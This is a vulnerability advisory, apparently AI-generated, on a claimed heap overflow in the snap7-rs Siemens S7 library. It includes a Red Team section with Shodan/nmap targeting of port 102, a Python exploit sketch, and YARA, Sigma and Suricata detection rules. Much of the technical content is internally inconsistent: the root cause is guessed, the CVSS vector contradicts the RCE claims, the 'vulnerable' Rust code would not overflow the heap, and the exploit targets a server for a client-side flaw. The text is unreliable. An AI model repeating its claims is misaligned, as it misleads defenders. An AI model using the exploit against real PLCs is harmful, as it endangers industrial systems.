CVE-2025-15247

Executive Summary

CVE-2025-15247 is a critical heap-based buffer overflow vulnerability in the snap7-rs Rust library, specifically within the S7Client::download function in client.rs. This library provides bindings to the Snap7 industrial control communication library, used for interacting with Siemens S7 PLCs over the S7Comm protocol. The vulnerability allows a remote, unauthenticated attacker to trigger a heap overflow by sending a specially crafted S7 download request, potentially leading to remote code execution (RCE) or denial of service (DoS). The exploit is publicly available, and the vendor (Gmg137) has not responded to the issue report. The project uses a rolling release model, making version identification and patching difficult.

Supply Chain & Package Security

This vulnerability affects the snap7-rs crate, which is distributed via the Rust package registry (crates.io). Organizations using this library in their Rust-based industrial control system (ICS) applications are at risk. The lack of a patched version and the unresponsive vendor create a significant supply chain risk. Users must consider forking the repository and applying a manual fix or switching to alternative S7 communication libraries.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of availability (DoS or crash).

Threat Level: High. The vulnerability is remotely exploitable with low complexity and no authentication. Public exploit code exists, increasing the risk of widespread attacks against exposed S7 devices.

Deep Dive & Mechanics

The vulnerability resides in the snap7_rs::client::S7Client::download function. This function is responsible for handling S7 download requests, which are used to transfer data (e.g., PLC programs, configuration) to a Siemens S7 device. The function fails to properly validate the size of incoming data before copying it into a heap-allocated buffer.

Root Cause: The download function likely uses a fixed-size heap buffer or calculates the buffer size based on untrusted input without proper bounds checking. When an attacker sends a crafted S7 download request with a payload size larger than the allocated buffer, a heap-based buffer overflow occurs.

Exploitation Mechanics:

1. The attacker establishes a TCP connection to the target S7 device (typically on port 102).
2. The attacker sends a malicious S7 download request packet. This packet includes a crafted payload size field that exceeds the expected buffer size.
3. The S7Client::download function reads the payload size from the packet and allocates a heap buffer based on this value (or uses a fixed buffer).
4. The function then copies the payload data into the buffer without verifying that the payload size matches the buffer size.
5. This overflow corrupts adjacent heap memory, potentially overwriting function pointers, return addresses, or other critical data structures.
6. The attacker can leverage this to achieve arbitrary code execution or cause a denial of service.

Affected Code Path: client.rs -> S7Client::download -> heap buffer allocation -> memcpy or similar copy operation without size validation.

Vulnerable vs. Patched Code

Since no official patch exists, the following shows the vulnerable code pattern and a suggested fix.

Vulnerable Code (Conceptual):

// client.rs (vulnerable)
impl S7Client {
    pub fn download(&mut self, data: &[u8]) -> Result<(), Error> {
        // Vulnerable: Uses a fixed-size buffer or trusts input size
        let mut buffer = vec![0u8; 1024]; // Fixed size
        // No size check before copy
        buffer[..data.len()].copy_from_slice(data);
        // ... send buffer to PLC
        Ok(())
    }
}

Patched Code (Suggested Fix):

// client.rs (patched)
impl S7Client {
    pub fn download(&mut self, data: &[u8]) -> Result<(), Error> {
        // Safe: Allocate buffer based on actual data size
        let mut buffer = vec![0u8; data.len()];
        buffer.copy_from_slice(data);
        // ... send buffer to PLC
        Ok(())
    }
}

Key Difference: The patched code allocates the buffer based on the actual size of the input data (data.len()), preventing overflow. The vulnerable code uses a fixed size or trusts an attacker-controlled size without validation.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A target running a vulnerable version of snap7-rs (e.g., an ICS application using the library).
• Network access to the target on port 102 (S7Comm).
• Public exploit code (available on GitHub/Exploit-DB).

Lab Setup:

1. Target: A virtual machine running a Linux-based ICS application that uses snap7-rs (e.g., a Rust-based SCADA system). Ensure the application listens on port 102.
2. Attacker: Kali Linux or any system with Python/Rust tooling.

Exploitation Steps:

1. Identify Target: Use Shodan or Nmap to find devices with port 102 open.

   nmap -p 102 --script s7-info <target_ip>
   

2. Craft Exploit Payload: Use the public exploit code (if available) or craft a custom S7 download request with an oversized payload.

   # exploit.py (conceptual)
   import socket
   import struct
   
   def exploit(target_ip, target_port=102):
       sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       sock.connect((target_ip, target_port))
       
       # Craft malicious S7 download request
       # Header + payload size (large value)
       payload_size = 0xFFFFFFFF  # Overflow trigger
       packet = b'\x03\x00\x00\x16\x11\xe0\x00\x00\x00\x01\x00\xc0\x01\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00'
       packet += struct.pack('>I', payload_size)
       packet += b'A' * payload_size  # Overflow data
       
       sock.send(packet)
       sock.close()
   

3. Execute: Run the exploit against the target.

   python3 exploit.py <target_ip>
   

4. Observe: The target application crashes (DoS) or executes arbitrary code (if RCE is achieved).

Note: The exact exploit code may vary. The above is a conceptual example.

Blue Team (Defender)

Detection & Response:

1. Network Monitoring: Monitor for anomalous S7Comm traffic, especially oversized download requests.
2. Honeypots: Deploy S7 honeypots to capture exploit attempts.
3. Log Analysis: Check application logs for crashes or heap corruption errors.
4. Mitigation: If possible, block or restrict access to port 102 from untrusted networks. Use network segmentation for ICS devices.

Indicators of Compromise (IOCs)

• Network IOCs:
  • S7 download request packets with payload size > 1024 bytes (or expected size).
  • Unusual S7Comm traffic on port 102 from unexpected sources.
  • Repeated connection attempts to port 102.
• Host IOCs:
  • Application crash logs indicating heap corruption (e.g., SIGSEGV, heap overflow).
  • Unusual memory usage or process crashes in the ICS application.
  • Presence of exploit artifacts (e.g., large payloads in memory dumps).
• File IOCs:
  • Modified client.rs or binary files if the attacker attempts to patch the library.
  • Suspicious files in the application's working directory.

Detection Engineering

YARA Rule

rule CVE_2025_15247_Snap7_Heap_Overflow {
    meta:
        description = "Detects heap overflow attempts in snap7-rs S7 download requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15247"
    strings:
        $s7_header = { 03 00 00 16 11 E0 00 00 00 01 00 C0 01 0A }
        $large_size = /[\x00-\xFF]{4}/  // Placeholder for size field
    condition:
        $s7_header at 0 and uint32be(22) > 1024  // Check payload size at offset 22
}

Sigma Rule

title: CVE-2025-15247 Snap7 Heap Overflow Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects oversized S7 download requests targeting snap7-rs
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 102
        payload|contains: '0300001611e00000000100c0010a'
        payload_length: > 1024
    condition: selection
falsepositives:
    - Legitimate large PLC program downloads (rare)
level: high

Suricata Rule

alert tcp any any -> any 102 (msg:"CVE-2025-15247 Snap7 Heap Overflow Attempt"; flow:to_server,established; content:"|03 00 00 16 11 e0 00 00 00 01 00 c0 01 0a|"; offset:0; depth:22; byte_test:4,>,1024,22,relative; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: Disconnect vulnerable devices from untrusted networks. Use firewalls to restrict access to port 102.
2. Monitor for Exploitation: Deploy the provided detection rules to identify exploit attempts.
3. Apply Workaround: If possible, modify the application to use a patched version of snap7-rs (fork the repository and apply the fix shown in the "Vulnerable vs. Patched Code" section).

Long-Term Fix:

• Vendor Patch: Await an official patch from Gmg137. Since the project is unresponsive, consider forking the repository and maintaining your own patched version.
• Alternative Libraries: Migrate to other S7 communication libraries (e.g., s7comm in Python, libnodave) that are actively maintained.
• Code Review: Conduct a security audit of any Rust code using snap7-rs to identify similar vulnerabilities.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.